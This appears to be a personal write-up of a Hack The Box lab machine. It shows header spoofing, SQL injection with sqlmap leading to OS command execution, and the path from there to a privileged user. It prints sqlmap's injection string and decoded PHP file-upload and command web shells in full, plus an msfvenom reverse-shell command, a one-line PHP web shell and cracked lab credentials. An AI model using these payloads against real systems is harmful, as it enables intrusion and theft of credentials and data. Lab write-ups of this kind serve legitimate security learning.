Table of Contents
Command History
masscan - found several service ports - effective
nmap - found http methods and some other services - effective
gobuster - found some redirect directories - effective
Burp Suite - modified some headers to repeat the request - ineffective
Ctrl-u - check the source code of the main page, found an IP, supposed to be the proxy server for the website - effective - valuable
Burp Suite - add x-forwarded-for header and access the login page - effective
sqlmap - identified injectable parameters and got an os shell - effective - valuable
tcpdump - capture sqlmap traffic for analyzing
wireshark - analyze the traffic
Burp Suite - analyze sqlmap traffic
msfvenom - generate php meterpreter reverse shel - effective
msfconsole - set up multi handler, get reverse shell - effective
meterpreter upload nc.exe - get a cmd shell - effective
mysql - connection denied - ineffective
meterpreter upload winPEAs - nothing interesting - ineffective
sqlmap - dump all information - effective - valuable
john - cracked hector's password - effective -valuable
powershell script - download powershell reverse shell and execute as another user context - effective
Set Up
Target's at 10.10.10.167
.
Recon
Masscan
We got rpc
, http
, mysql
and other services running on target.
Nmap
Let's get more information about the ports.
Not much information.
Checkout the Website
A Login
portal.
And a fake form.
Gobuster
Let's first run gobuster
to see if there're some hidden directories that need my attention.
Some redirect directories. Check them out.
All directories responded with Access is denied
.
Let's check the login page.
The Login Page
When I click Login
, I got this error.
A header
is missing. Which header is missing?
Let's check the request in Burp.
Burp Suite
The request is as follows.
Refrences:
I tried to add more headers to the request, but not working.
And I was looking at this Header missing
message, it told me to make sure to access the page through a proxy.
So, what is the difference of a normal request and a request through a proxy?
I did a search about proxy headers, and I discovered this X-Forwarded-For
header which I used before when I was in a company, and this X-Forwarded-For
header should be added to request duringt testing.
And I did a search about how to use X-Forwarded-For header
.
References:
Let's try it.
Nope. Still got access dinied.
I'm sure I didn't use the header right.
I did another search.
References:
Quote from the stackoverflow answer
I need both X-Forwarded-For
and Via
, and my IP
address should be included in the X-Forwarded-For
header.
References:
Example on how to add Via
header.
Still got access denied.
I'm being patient, and dig a little deeper into X-Forwarded-For
, see what the header is doing.
References:
By reading the above articles, I understand that X-Forwarded-For
header is used to identify the original IP address of the client who makes the request.
But, I put in my machines IP address, why doesn't it work?
One explanation, as indicated in the error message, I must provide a proxy server IP, so my request is going through that proxy server, then, my request is valid and the page will be presented to me.
Problem coming...
What is the IP address of the proxy server I'm talking about?
I must be missing out something here. What I'm missing here should be some internal IP address like 192.168.x.x
.
Let's go back to the first step and open up the home page of the website.
By going through my command history, I noticed that I missed one little step, checking the source code of the page.
😀
See what I got.
I'll put the IP in my request and see. That indicates me, 10.10.14.4
as a client, send the request through the proxy 192.168.4.28
to the web server.
But still no...
And I tried many times, when I leave only 192.168.4.28
in the header, everything worked.
Don't understand why.
At least I get something back.
In this page, you can searchproducts, the request is as follows.
And I have to put the X-Forwarded-For
each time I make a request, other wise, error.
I added this plugin to firefox so I don't have to add the header manually.
Add 192.168.4.28
to the plugin's ip list, and make a request, the header is added automatically.
SQL Injection Probe
Search product, every search field may be vulnerable to sql injection.
I entered a double quote "
, and gets nothing.
I entered single quote '
, gets error. And now I can confirm that user input is not properly sanitized.
Let's do some basic injection.
It returns everything.
But, I think the search field only get things from product
table, I cannot pop a shell by manual exploitation, at least based on what I know now.
Sqlmap
Let's resort to sqlmap to get a shell here.
I used sqlmap
to performe GET
injections where the search parameters are in the url. Now the method is POST
, I have do a little search.
References:
According to the post, I have to save the request in some file before firing up sqlmap
.
Save the request.
Fire up sqlmap
.
Yeah, the productName
parameter is injectable
. And don't worry about the WAF
thing, false alarm.
Confirmed, it's injectable.
Let's try to get a shell.
I've got a shell.
Before I proceed, I want to take a look at what exacly happened when sqlmap is trying to spawn a shell.
Side Notes: How Sqlmap Works
Tcpdump
all the traffic through tun0
and save the output.
Run sqlmap
through Burp Suite.
Let's open up wireshark to see what's going on.
First three packets, establish tcp connection.
Then, sqlmap is making lots of POST
request like the following, to inject codes to the productName
parameter.
The common path includes C:/xampp/htdocs/
, C:/wamp/www/
, C:/Inetpub/wwwroot/
. In our case, the last path is writable and the attack succeeded.
Let's switch to Burp Suite for a better view of the payload that sqlmap sends.
In each attempt, sqlmap tries to inject this code
test' LIMIT 0,1 INTO OUTFILE 'C:/xampp/htdocs/tmpukhlj.php' LINES TERMINATED BY
0x3c3f7068700a69662028697373657428245f524551554553545...3f3e0a-- -
My guess is, the 0x3c
thing is the payload, other wise, it doesn't make sense how the stage payload and backdoor payload got into the disk of the target machine.
I tried to throw the string into hex2ascii online tools, but got garbage.
Then I manually match the hex to ascii table. 0x3c
is <
. This is the start of any php code. And 3c
is ?
, and 0x70
is p
, no need to continue. It is the payload.
References:
I think the online tool fail because it has no 0x
before the subsequent hex.
I messed around with Burp decoder, and now the payload is here.
<?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\xampp\\htdocs\\> <input type=submit name=upload value=upload></form>";}?>
This is the stage payload, edit the path to the one you can write to, and you can upload any file to the target.
This is the code from the os shell payload.
39 test 22 6 1000 0<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1 ";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w
Then, by executing the shell payload, I got the shell.
That's how sqlmap works.
Foothold
I checked the code in admin.php
, only 192.168.4.28
in X-Forwarded-For
will be accepted.
In database.php
, I got database user credential.
Now, the os shell is really user unfriendly. I need a cmd shell.
In getting the shell, there is a message:
the file stager has been successfully uploaded on 'C:/Inetpub/wwwroot/' - http://10.10.10.167:80/tmpuyfxu.php
So, let's go to the url and upload some rever shell code.
References:
Let's upload a php reverse shell.
This is my reserve shell. Let's upload it.
I clicked upload, but there no file there. I don't know what happened.
And I tried to encode the whole reverse shell file in Burp decoder
The file is saved.
But I'm stupid enough to use a linux rever shell.
I found this post to use msfvenom
to generate a meterpreter shell.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.109 lport=4444 -f raw
This is our payload now.
Try upload it. Still cannot upload from the web portal.
Do it in Burp.
Encode as Ascii Hex
Paste to Repeater
, change file name.
Hit Send
, and here is the file.
Set up multi handler.
Let's run the code.
My meterpreter shell is coming.
And here is my cmd shell.
MySQL Database
The next step, of course, is to get into the database and hack some credentials.
But, my cmd shell keeps dying when I issue dir
command...
Maybe something wrong with the payload generated. I have use nc.exe
to give me back a cmd shell.
Upload nc.exe
.
Execute the command.
And I got another cmd shell, hope it don't die.
Yes! It's all good!
Now let's explore the database.
Remember the credential is manager
:l3tm3!n
.
Let's connect.
Mysql program is not installed or not in path.
Did some search on windows connect to mariaDB
, and found the path to mysql executable.
Let's connect now.
I tried many many times, I don't know what's going wrong here.
I scanned the directory, there's mysqldump
here. I might as well just dump the whole database.
I still got error.
Which means, the username and password is wrong.
I went to the Users
directory, and found user Hector
.
Let's try Hector
to the database.
Still no...
It seems impossible but it's happenning.
WinPEAs
I had something.
Start with this AppCmd.exe
.
References:
After reading, I have no permission to perform anything with this executable. So move on to the exploits of the system.
Nothing's there.
Second thought. I should go back go sqlmap, and let this tool dump all the info for us, since the taget is injectable.
Sqlmap Dump All Info
I fired up sqlmap again and add --dump-all
to dump all information. The goal is pretty straight forward, get the password of Hector
, and connect to the target with it.
This is the user.csv
file.
The hash is on 13th column.
Let's print out the username and the hashes and save them to a file to crack.
Now I have my hash file, crack it with john
.
In a second, hector
's password is there. I don't why root's password is not cracked 😀
The password is l33th4x0rhector
.
One problem here, rpcclient cannot get me a shell. How do I become hector
?
Plus, I cannot even connect hector to rpc...
Have to find a way to become hector.
Powershell
I did a search here
References:
I got this runas
command here.
Let's try it.
Wired! I don't even got the change to enter the command and the command returns.
Also tried metasploit run_as
module, still no.
Had to find a new way.
Search for a lot of things, here is what I get.
References:
It's from hack the box 😀
Let's try it.
I got this error.
Struggled a lot. My guess is, multiple layers of shell is not good. I have a meterpreter, and then I have nc.exe
to connect back. This is two different processes, so I guess maybe this is the problem. And my meterpreter is not responding when I use shell
command.
It's painful. I might have to start all over to gain a shell.
Code Execution PHP File
Let's drop a code execution php file to target.
Drop encoded content of <?php system($_REQUEST['cmd']);?>
to target as rsh.php
.
I get command execution.
Search for powershell reverse shell one liner
, and you'll get the command below.
Host the file.
Execute powershell command on website.
But, the shell is not functional enough to handle what's next.
Too much things going wrong. I'm just going to take a look at ippsec's video.
Solution
Everything starts from here is from ippsec, credits for him.
Just go check out his video. His solution is more advanced and elegant.
Final Thoughts
- Don't get multiple layers of shells, too much process is just going to mess up with some auth related commands.
- When doing php cmd shell, go for the
system
one, so you can change toPOST
mehotd, and don't have to worry about url encodings. - Read more about powershell.
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For#Examples
- https://stackoverflow.com/questions/10369679/do-http-proxy-servers-modify-request-packets
- https://www.w3.org/TR/ct-guidelines/
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Via
- https://en.wikipedia.org/wiki/X-Forwarded-For
- https://www.geeksforgeeks.org/http-headers-x-forwarded-for/
- https://docs.alertlogic.com/configure/inline-waf/preserve-IP-address.htm
- https://hackertarget.com/sqlmap-post-request-injection/
- https://niiconsulting.com/checkmate/2014/01/from-sql-injection-to-0wnage-using-sqlmap/
- http://www.asciitable.com/
- https://www.hackingarticles.in/shell-uploading-in-web-server-using-sqlmap/
- https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/#appcmd
- https://medium.com/@asfiyashaikh10/windows-privilege-escalation-using-sudo-su-ae5573feccd9
- https://forum.hackthebox.eu/discussion/1685/reverse-shell-using-powershell-nc-as-other-user